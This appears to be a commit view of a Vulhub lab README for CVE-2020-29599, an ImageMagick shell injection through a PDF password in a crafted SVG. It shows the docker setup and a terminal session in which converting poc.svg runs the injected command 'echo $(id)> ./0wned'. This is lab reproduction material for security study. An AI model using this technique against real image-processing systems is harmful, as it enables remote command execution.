first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

View File

@@ -0,0 +1,38 @@
# ImageMagick Shell Injection via PDF Password (CVE-2020-29599)
[中文版本(Chinese version)](README.zh-cn.md)
ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images.
References:
- https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
## Environment Setup and Exploit
Execute the following command to enter the Linux shell where Imagemagick 7.0.10-36 is installed:
```
docker compose run im bash
```
Enter the `/tmp` directory and convert the format of [poc.svg](poc.svg) to trigger the vulnerability:
```
root@f200ec9e1c1e:/# cd /tmp/
root@f200ec9e1c1e:/tmp# ls
poc.svg
root@f200ec9e1c1e:/tmp# identify poc.svg
poc.svg SVG 700x700 700x700+0+0 16-bit sRGB 398B 0.000u 0:00.003
root@f200ec9e1c1e:/tmp# convert poc.svg poc.png
sh: 1: : Permission denied
convert: MagickCore/image.c:1168: DestroyImage: Assertion `image != (Image *) NULL' failed.
Aborted
root@f200ec9e1c1e:/tmp# ls
0wned poc.svg
root@f200ec9e1c1e:/tmp#
```
The command `echo $(id)> ./0wned` has been executed successfully:
![](1.png)